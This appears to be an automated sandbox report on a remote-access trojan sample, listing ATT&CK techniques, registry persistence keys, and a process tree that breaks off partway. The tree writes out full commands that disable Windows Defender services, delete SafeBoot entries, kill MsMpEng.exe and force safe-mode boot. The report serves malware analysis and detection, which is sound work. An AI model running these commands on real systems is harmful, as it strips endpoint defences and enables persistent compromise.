njrat | 696c0efdd3e43f0bf1bce9c922275a72e59165506caffde241e60975e1225916

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "C:\\Windows\\system32\\userinit.exe,C:\\ProgramData\\Microsoft\\WinSvc\\stage2.bat,"	reg.exe

Modifies boot configuration data using bcdedit 1 TTPs 3 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
3764	bcdedit.exe
5172	bcdedit.exe
4620	bcdedit.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4960	powershell.exe
4908	powershell.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
3308	netsh.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 4 IoCs

pid	Process
1924	winsvc32.exe
4744	._cache_winsvc32.exe
4072	Synaptics.exe
3328	Synaptics.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\*ZZWinSvcSafe = "C:\\ProgramData\\Microsoft\\WinSvc\\stage2.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\????? = "C:\\ProgramData\\Synaptics\\Synaptics.exe"	winsvc32.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

discovery defense_evasion

description	ioc	Process
File opened (read-only)	\??\S:	cmd.exe
File opened (read-only)	\??\T:	cmd.exe
File opened (read-only)	\??\D:	cmd.exe
File opened (read-only)	\??\V:	cmd.exe
File opened (read-only)	\??\H:	cmd.exe
File opened (read-only)	\??\Q:	cmd.exe
File opened (read-only)	\??\Z:	cmd.exe
File opened (read-only)	\??\H:	cmd.exe
File opened (read-only)	\??\Q:	cmd.exe
File opened (read-only)	\??\U:	cmd.exe
File opened (read-only)	\??\W:	cmd.exe
File opened (read-only)	\??\Y:	cmd.exe
File opened (read-only)	\??\K:	cmd.exe
File opened (read-only)	\??\W:	cmd.exe
File opened (read-only)	\??\L:	cmd.exe
File opened (read-only)	\??\N:	cmd.exe
File opened (read-only)	\??\J:	cmd.exe
File opened (read-only)	\??\V:	cmd.exe
File opened (read-only)	\??\X:	cmd.exe
File opened (read-only)	\??\Y:	cmd.exe
File opened (read-only)	\??\D:	cmd.exe
File opened (read-only)	\??\M:	cmd.exe
File opened (read-only)	\??\O:	cmd.exe
File opened (read-only)	\??\A:	cmd.exe
File opened (read-only)	\??\T:	cmd.exe
File opened (read-only)	\??\G:	cmd.exe
File opened (read-only)	\??\K:	cmd.exe
File opened (read-only)	\??\I:	cmd.exe
File opened (read-only)	\??\M:	cmd.exe
File opened (read-only)	\??\P:	cmd.exe
File opened (read-only)	\??\B:	cmd.exe
File opened (read-only)	\??\J:	cmd.exe
File opened (read-only)	\??\R:	cmd.exe
File opened (read-only)	\??\X:	cmd.exe
File opened (read-only)	\??\Z:	cmd.exe
File opened (read-only)	\??\G:	cmd.exe
File opened (read-only)	\??\L:	cmd.exe
File opened (read-only)	\??\N:	cmd.exe
File opened (read-only)	\??\O:	cmd.exe
File opened (read-only)	\??\U:	cmd.exe
File opened (read-only)	\??\A:	cmd.exe
File opened (read-only)	\??\I:	cmd.exe
File opened (read-only)	\??\P:	cmd.exe
File opened (read-only)	\??\B:	cmd.exe
File opened (read-only)	\??\R:	cmd.exe
File opened (read-only)	\??\S:	cmd.exe

Drops file in Windows directory 4 IoCs

description	ioc	Process
File created	C:\Windows\._cache_winsvc32.exe	winsvc32.exe
File opened for modification	C:\Windows\._cache_winsvc32.exe	winsvc32.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	DISM.exe
File opened for modification	C:\Windows\Logs\DISM\dism.log	dismhost.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	._cache_winsvc32.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1944	sc.exe
4676	sc.exe
5244	sc.exe
4368	sc.exe
5640	sc.exe
4212	sc.exe
4512	sc.exe
4564	sc.exe
2848	sc.exe
4456	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 64 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5076	cmd.exe
4148	cmd.exe
4852	cmd.exe
2360	cmd.exe
3112	cmd.exe
6084	cmd.exe
5004	cmd.exe
2664	cmd.exe
1852	cmd.exe
4988	cmd.exe
3728	cmd.exe
5128	cmd.exe
5064	cmd.exe
256	cmd.exe
1508	cmd.exe
3008	cmd.exe
3328	cmd.exe
3844	cmd.exe
1552	cmd.exe
1308	cmd.exe
5844	cmd.exe
5588	cmd.exe
4928	cmd.exe
428	cmd.exe
1408	cmd.exe
4548	cmd.exe
5220	cmd.exe
5296	cmd.exe
5720	cmd.exe
4920	cmd.exe
6016	cmd.exe
5908	cmd.exe
5572	cmd.exe
4960	cmd.exe
5224	cmd.exe
3164	cmd.exe
1532	cmd.exe
4560	cmd.exe
5252	cmd.exe
5256	cmd.exe
4308	cmd.exe
3576	cmd.exe
4464	cmd.exe
904	cmd.exe
2872	cmd.exe
6064	cmd.exe
468	cmd.exe
4468	cmd.exe
2176	cmd.exe
4164	cmd.exe
4092	cmd.exe
3028	cmd.exe
3520	cmd.exe
4204	cmd.exe
2472	cmd.exe
1968	cmd.exe
2380	cmd.exe
2372	cmd.exe
1460	cmd.exe
3732	cmd.exe
1272	cmd.exe
3436	cmd.exe
2844	cmd.exe
424	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	._cache_winsvc32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	Synaptics.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	Synaptics.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	._cache_winsvc32.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winsvc32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	._cache_winsvc32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Synaptics.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Kills process with taskkill 55 IoCs

defense_evasion

pid	Process
5408	taskkill.exe
1488	taskkill.exe
4588	taskkill.exe
1852	taskkill.exe
120	taskkill.exe
4820	taskkill.exe
4448	taskkill.exe
1944	taskkill.exe
4732	taskkill.exe
2512	taskkill.exe
5464	taskkill.exe
808	taskkill.exe
3460	taskkill.exe
3252	taskkill.exe
4676	taskkill.exe
472	taskkill.exe
4484	taskkill.exe
2600	taskkill.exe
3556	taskkill.exe
2584	taskkill.exe
5076	taskkill.exe
4136	taskkill.exe
1512	taskkill.exe
4784	taskkill.exe
4700	taskkill.exe
4256	taskkill.exe
5644	taskkill.exe
1460	taskkill.exe
4568	taskkill.exe
2796	taskkill.exe
2572	taskkill.exe
4296	taskkill.exe
3364	taskkill.exe
4572	taskkill.exe
5292	taskkill.exe
5896	taskkill.exe
5860	taskkill.exe
3076	taskkill.exe
4772	taskkill.exe
2676	taskkill.exe
2176	taskkill.exe
6068	taskkill.exe
5928	taskkill.exe
1304	taskkill.exe
1760	taskkill.exe
5084	taskkill.exe
1472	taskkill.exe
1308	taskkill.exe
4196	taskkill.exe
2984	taskkill.exe
4804	taskkill.exe
1668	taskkill.exe
1076	taskkill.exe
1572	taskkill.exe
1852	taskkill.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent	LogonUI.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00	LogonUI.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History	LogonUI.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0"	LogonUI.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A8CDFF1C-4878-43be-B5FD-F8091C1C60D0}\Instance\	Synaptics.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

pid	Process
2824	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
1360	schtasks.exe
1264	schtasks.exe
52	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1592	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4960	powershell.exe
4960	powershell.exe
4908	powershell.exe
4908	powershell.exe
4908	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2600	taskkill.exe
Token: SeDebugPrivilege	2512	taskkill.exe
Token: SeDebugPrivilege	3364	taskkill.exe
Token: SeDebugPrivilege	3556	taskkill.exe
Token: SeDebugPrivilege	1668	taskkill.exe
Token: SeDebugPrivilege	1488	taskkill.exe
Token: SeDebugPrivilege	4256	taskkill.exe
Token: SeDebugPrivilege	2176	taskkill.exe
Token: SeDebugPrivilege	1076	taskkill.exe
Token: SeDebugPrivilege	1572	taskkill.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeIncreaseQuotaPrivilege	4960	powershell.exe
Token: SeSecurityPrivilege	4960	powershell.exe
Token: SeTakeOwnershipPrivilege	4960	powershell.exe
Token: SeLoadDriverPrivilege	4960	powershell.exe
Token: SeSystemProfilePrivilege	4960	powershell.exe
Token: SeSystemtimePrivilege	4960	powershell.exe
Token: SeProfSingleProcessPrivilege	4960	powershell.exe
Token: SeIncBasePriorityPrivilege	4960	powershell.exe
Token: SeCreatePagefilePrivilege	4960	powershell.exe
Token: SeBackupPrivilege	4960	powershell.exe
Token: SeRestorePrivilege	4960	powershell.exe
Token: SeShutdownPrivilege	4960	powershell.exe
Token: SeDebugPrivilege	4960	powershell.exe
Token: SeSystemEnvironmentPrivilege	4960	powershell.exe
Token: SeRemoteShutdownPrivilege	4960	powershell.exe
Token: SeUndockPrivilege	4960	powershell.exe
Token: SeManageVolumePrivilege	4960	powershell.exe
Token: 33	4960	powershell.exe
Token: 34	4960	powershell.exe
Token: 35	4960	powershell.exe
Token: 36	4960	powershell.exe
Token: SeDebugPrivilege	2584	taskkill.exe
Token: SeDebugPrivilege	5644	taskkill.exe
Token: SeDebugPrivilege	1460	taskkill.exe
Token: SeDebugPrivilege	4588	taskkill.exe
Token: SeDebugPrivilege	1472	taskkill.exe
Token: SeDebugPrivilege	1852	taskkill.exe
Token: SeDebugPrivilege	4572	taskkill.exe
Token: SeDebugPrivilege	5076	taskkill.exe
Token: SeDebugPrivilege	6068	taskkill.exe
Token: SeDebugPrivilege	120	taskkill.exe
Token: SeDebugPrivilege	4820	taskkill.exe
Token: SeDebugPrivilege	1308	taskkill.exe
Token: SeDebugPrivilege	5928	taskkill.exe
Token: SeDebugPrivilege	4448	taskkill.exe
Token: SeDebugPrivilege	1944	taskkill.exe
Token: SeDebugPrivilege	4196	taskkill.exe
Token: SeDebugPrivilege	2984	taskkill.exe
Token: SeDebugPrivilege	1304	taskkill.exe
Token: SeDebugPrivilege	4136	taskkill.exe
Token: SeDebugPrivilege	1512	taskkill.exe
Token: SeDebugPrivilege	4732	taskkill.exe
Token: SeDebugPrivilege	5464	taskkill.exe
Token: SeDebugPrivilege	4804	taskkill.exe
Token: SeDebugPrivilege	4784	taskkill.exe
Token: SeDebugPrivilege	808	taskkill.exe
Token: SeDebugPrivilege	1760	taskkill.exe
Token: SeDebugPrivilege	4700	taskkill.exe
Token: SeDebugPrivilege	5292	taskkill.exe
Token: SeDebugPrivilege	4908	powershell.exe
Token: SeIncreaseQuotaPrivilege	4908	powershell.exe
Token: SeSecurityPrivilege	4908	powershell.exe
Token: SeTakeOwnershipPrivilege	4908	powershell.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
1592	EXCEL.EXE
1592	EXCEL.EXE
1592	EXCEL.EXE
1592	EXCEL.EXE
6068	PickerHost.exe
2308	LogonUI.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2752 wrote to memory of 5040	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	89
PID 5040 wrote to memory of 5664	5040	cmd.exe	91
PID 2752 wrote to memory of 4340	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	92
PID 4340 wrote to memory of 3924	4340	cmd.exe	94
PID 2752 wrote to memory of 4932	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	95
PID 4932 wrote to memory of 1448	4932	cmd.exe	97
PID 2752 wrote to memory of 6108	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	98
PID 6108 wrote to memory of 5716	6108	cmd.exe	100
PID 2752 wrote to memory of 256	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	101
PID 256 wrote to memory of 2488	256	cmd.exe	103
PID 2752 wrote to memory of 204	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	104
PID 204 wrote to memory of 960	204	cmd.exe	106
PID 2752 wrote to memory of 6128	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	107
PID 6128 wrote to memory of 2772	6128	cmd.exe	109
PID 2752 wrote to memory of 3212	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	110
PID 3212 wrote to memory of 5356	3212	cmd.exe	112
PID 2752 wrote to memory of 4560	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	113
PID 4560 wrote to memory of 2600	4560	cmd.exe	115
PID 2752 wrote to memory of 2560	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	117
PID 2560 wrote to memory of 2512	2560	cmd.exe	119
PID 2752 wrote to memory of 5488	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	120
PID 5488 wrote to memory of 4548	5488	cmd.exe	122
PID 2752 wrote to memory of 4148	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	123
PID 4148 wrote to memory of 4460	4148	cmd.exe	125
PID 2752 wrote to memory of 2748	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	126
PID 2748 wrote to memory of 4712	2748	cmd.exe	128
PID 2752 wrote to memory of 4924	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	129
PID 4924 wrote to memory of 4740	4924	cmd.exe	131
PID 2752 wrote to memory of 1968	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	132
PID 1968 wrote to memory of 712	1968	cmd.exe	134
PID 2752 wrote to memory of 5224	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	135
PID 5224 wrote to memory of 2904	5224	cmd.exe	137
PID 2752 wrote to memory of 5672	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	138
PID 5672 wrote to memory of 3920	5672	cmd.exe	140
PID 2752 wrote to memory of 5588	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	141
PID 5588 wrote to memory of 3652	5588	cmd.exe	143
PID 2752 wrote to memory of 4260	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	144
PID 4260 wrote to memory of 3364	4260	cmd.exe	146
PID 2752 wrote to memory of 5652	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	147
PID 5652 wrote to memory of 3556	5652	cmd.exe	149
PID 2752 wrote to memory of 6048	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	150
PID 6048 wrote to memory of 3764	6048	cmd.exe	152
PID 2752 wrote to memory of 2188	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	153
PID 2188 wrote to memory of 5172	2188	cmd.exe	155
PID 2752 wrote to memory of 4620	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	156
PID 2752 wrote to memory of 5032	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	158
PID 5032 wrote to memory of 4940	5032	cmd.exe	160
PID 2752 wrote to memory of 5004	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	161
PID 5004 wrote to memory of 820	5004	cmd.exe	163
PID 2752 wrote to memory of 2380	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	164
PID 2380 wrote to memory of 3012	2380	cmd.exe	166
PID 2752 wrote to memory of 6016	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	167
PID 6016 wrote to memory of 5056	6016	cmd.exe	169
PID 2752 wrote to memory of 6008	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	170
PID 6008 wrote to memory of 5624	6008	cmd.exe	172
PID 2752 wrote to memory of 5064	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	173
PID 5064 wrote to memory of 3944	5064	cmd.exe	175
PID 2752 wrote to memory of 1128	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	176
PID 1128 wrote to memory of 4468	1128	cmd.exe	178
PID 2752 wrote to memory of 2872	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	179
PID 2872 wrote to memory of 2368	2872	cmd.exe	181
PID 2752 wrote to memory of 6064	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	182
PID 6064 wrote to memory of 1668	6064	cmd.exe	184
PID 2752 wrote to memory of 468	2752	2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe	185

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-30_022367d8308804f971c7b2660c38dd74_icedid.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2752
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5040
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:5664
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4340
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:3924
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4932
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:1448
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6108
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5716
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:256
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2488
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:204
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:960
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6128
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2772
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3212
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:5356
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2600
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2560
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:2512
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5488
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\WinDefend\" /f
    3⤵
    PID:4548
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4148
- - C:\Windows\system32\reg.exe
    reg delete \"HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\WinDefend\" /f
    3⤵
    PID:4460
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2748
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WinDefend\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4712
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4924
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdFilter\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:4740
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1968
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdBoot\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:712
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5224
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:2904
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5672
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3920
- C:\Windows\system32\cmd.exe
  "cmd" /c "reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5588
- - C:\Windows\system32\reg.exe
    reg add \"HKLM\SYSTEM\CurrentControlSet\Services\MDCoreSvc\" /v Start /t REG_DWORD /d 4 /f
    3⤵
    PID:3652
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im MsMpEng.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im MsMpEng.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3364
- C:\Windows\system32\cmd.exe
  "cmd" /c "taskkill /f /im NisSrv.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5652
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im NisSrv.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:3556
- C:\Windows\system32\cmd.exe
  "cmd" /c "bcdedit /set {current} safeboot network"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6048
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {current} safeboot network
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3764
- C:\Windows\system32\cmd.exe
